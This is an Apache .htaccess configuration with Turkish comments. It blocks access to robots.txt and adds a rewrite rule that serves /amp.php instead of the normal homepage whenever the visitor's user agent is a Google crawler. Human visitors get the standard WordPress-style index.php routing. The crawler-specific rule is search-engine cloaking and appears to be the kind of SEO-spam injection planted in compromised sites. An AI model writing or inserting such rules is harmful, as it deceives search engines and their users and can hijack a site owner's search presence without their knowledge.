<Files robots.txt>
Order allow,deny
Deny from all
</Files>
RewriteEngine On

# Sadece ana dizin isteği ise
RewriteCond %{REQUEST_URI} ^/$

# User-Agent Google bot içeriyorsa
RewriteCond %{HTTP_USER_AGENT} (Googlebot|AdsBot|Mediapartners-Google|APIs-Google|Googlebot-Image|Googlebot-Video|Googlebot-News|Googlebot-Search|Googlebot-Inspect|Googlebot-Android|Googlebot-Mobile|Googlebot-Ads|Googlebot-Discovery|Google-) [NC]

# amp.php'ye yönlendir
RewriteRule ^$ /amp.php [L]

<IfModule mod_rewrite.c>
 RewriteEngine On
 RewriteBase /
 DirectoryIndex index.php
 RewriteRule ^index.php$ - [L]
 RewriteCond %{REQUEST_FILENAME} !-f
 RewriteCond %{REQUEST_FILENAME} !-d
 RewriteRule . /index.php [L]
</IfModule>
